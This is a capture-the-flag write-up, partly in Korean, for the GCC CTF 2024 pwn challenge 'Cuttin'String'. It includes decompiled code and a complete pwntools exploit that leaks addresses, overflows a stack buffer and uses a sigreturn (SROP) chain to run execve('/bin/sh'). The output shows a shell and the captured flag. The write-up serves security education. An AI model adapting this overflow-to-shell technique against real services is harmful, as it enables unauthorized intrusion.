Description
I made the lightest string cutting tool!
Some people reported bugs, but anyway you can’t exploit them as there is no libc.
Author: Drahoxx
nc challenges1.gcc-ctf.com 4004
checksec
seo@seo:~/Documents/gcc_ctf_2024/Cuttin_String$ checksec ./chall [!] Did not find any GOT entries [*] '/home/seo/Documents/gcc_ctf_2024/Cuttin_String/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
Decompiled-src
start
void __fastcall __noreturn start(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6) { int v6; // edx int v7; // ecx int v8; // r8d int v9; // r9d PUTS( a1, a2, a3, a4, a5, a6, 0LL, (__int64)"\nCuttin'String, the smallest string cutting tool\n-----------------------------------------------\n"); while ( 1 ) main_loop(a1, a2, v6, v7, v8, v9); }
main_loop
__int64 __fastcall main_loop(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6) { __int64 v6; // rdx __int64 v7; // rcx __int64 v8; // r8 __int64 v9; // r9 __int64 v10; // rdx __int64 v11; // rcx __int64 v12; // r8 __int64 v13; // r9 PUTS(a1, a2, a3, a4, a5, a6, 0LL, (__int64)"Enter the length of the string (in decimal) > "); get_len_str(); PUTS(a1, a2, v6, v7, v8, v9, 0LL, (__int64)"Enter the string to cut > "); read_and_print_str(); return PUTS(a1, a2, v10, v11, v12, v13, 0LL, (__int64)"\n\n---\n"); }
get_len_str
__int64 get_len_str() { __int64 v0; // r8 __int64 v1; // r9 __int64 v2; // r10 __int64 i; // rcx __int64 result; // rax signed __int64 v5; // rax char v6[8]; // [rsp+0h] [rbp-8h] BYREF _LOAD_SYS_READ(); __asm { syscall; LINUX - } v2 = 0LL; for ( i = 0LL; i != 8; ++i ) { result = (unsigned __int8)v6[i]; if ( !(_BYTE)result || (_BYTE)result == 10 ) break; if ( (unsigned __int8)result < 0x30u || (unsigned __int8)result > 0x39u ) { PUTS(0LL, (__int64)v6, 8LL, i, v0, v1, 0LL, (__int64)"Error. Enter a number in decimal.\n"); v5 = sys_exit(0); } if ( i ) v2 *= 10LL; result -= 48LL; v2 += result; } return result; }
_LOAD_SYS_WRITE
gdb-peda$ disas __LOAD_SYS_WRITE Dump of assembler code for function __LOAD_SYS_WRITE: 0x0000555555555004 <+0>: xor rax,rax 0x0000555555555007 <+3>: mov edi,0x1 0x000055555555500c <+8>: inc al 0x000055555555500e <+10>: ret End of assembler dump.
_LOAD_SYS_READ
gdb-peda$ disas __LOAD_SYS_READ Dump of assembler code for function __LOAD_SYS_READ: 0x0000555555555000 <+0>: xor rax,rax 0x0000555555555003 <+3>: ret End of assembler dump.
read_and_print_str
__int64 read_and_print_str() { __int64 v0; // rcx __int64 v1; // r8 __int64 v2; // r9 __int64 v3; // r10 _BYTE v5[512]; // [rsp+0h] [rbp-200h] BYREF _LOAD_SYS_READ(); __asm { syscall; LINUX - } return PUTS(0LL, (__int64)v5, 1298LL, v0, v1, v2, v3, (__int64)v5); }
Solution
- get_len_str 함수에서 입력받을 길이를 500이상으로 해서, 스택의 임의주소를 노출시켜 read_and_print_str에서의 v5 스택 주소를 계산한다. 또, chall 바이너리의 text base 주소 또한 구할 수 있다.
- read_and_print_str 함수를 통해 버퍼 오버플로우를 발생시켜 srop으로 쉘을 획득하면 된다.
read_and_print_str의 v5에 저장될 버퍼에는 “/bin/sh\x00” 문자열을 채우고, srop 페이로드를 통해 rip가 이동되게끔 만들면 된다. 이동되기전에 rax가 SYS_rt_sigreturn 시스템콜 번호인 15여야 하는데, 이는 _LOAD_SYS_WRITE에 있는 어셈블리 코드인inc al
을 이용하면 된다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') #p = process("./chall") p = remote("challenges1.gcc-ctf.com", 4004) e = ELF('./chall') p.sendlineafter("Enter the length of the string (in decimal) > ", "500") p.sendlineafter("Enter the string to cut > ", "0") p.recv(0xb8) pht_entry_0 = u64(p.recv(8)) print(f"pht_entry: {hex(pht_entry_0)}") chall_base = pht_entry_0 - 0x40 print(f"chall_base: {hex(chall_base)}") p.recv(120) unk = u64(p.recv(8)) print(f"unk? {hex(unk)}") bin_sh_address = unk - (0x208) #-0x4e1 #bin_sh_address = unk - (0x4e1 - 0x8*35 - 11) print(f"bin_sh_address? {hex(bin_sh_address)}") p.sendlineafter("Enter the length of the string (in decimal) > ", "0") bin_sh = b"/bin/sh\x00"*50 payload = b'' payload += bin_sh + b'\x41'*(512-len(bin_sh)) payload += b"A"*8 syscall = chall_base + 0x1034 # Make rax to SYS_rt_sigreturn, 15 payload += p64(chall_base + e.symbols['__LOAD_SYS_WRITE']) for i in range(15-1): payload += p64(chall_base + e.symbols['__LOAD_SYS_WRITE'] + 0x8) #syscall payload += p64(syscall) # execve("/bin/sh", 0, 0) frame2 = SigreturnFrame() frame2.rip = syscall frame2.rax = 0x3b # execve frame2.rsp = chall_base + 0x3fb0 frame2.rdi = bin_sh_address payload += bytes(frame2) payload += bin_sh #pause() p.sendlineafter("Enter the string to cut > ", payload) #pause() p.interactive()
Result
seo@seo:~/Documents/gcc_ctf_2024/Cuttin_String$ python3 solve.py [+] Opening connection to challenges1.gcc-ctf.com on port 4004: Done [!] Did not find any GOT entries [*] '/home/seo/Documents/gcc_ctf_2024/Cuttin_String/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled pht_entry: 0x5629a4e6a040 chall_base: 0x5629a4e6a000 unk? 0x7ffdf0bd11f0 bin_sh_address? 0x7ffdf0bd0fe8 [*] Switching to interactive mode $ ls flag.txt pwn $ cat flag.txt GCC{SR0p_1s_f0r_Sup3r_R0P_Right?} $ [*] Interrupted [*] Closed connection to challenges1.gcc-ctf.com port 4004
FLAG
GCC{SR0p_1s_f0r_Sup3r_R0P_Right?}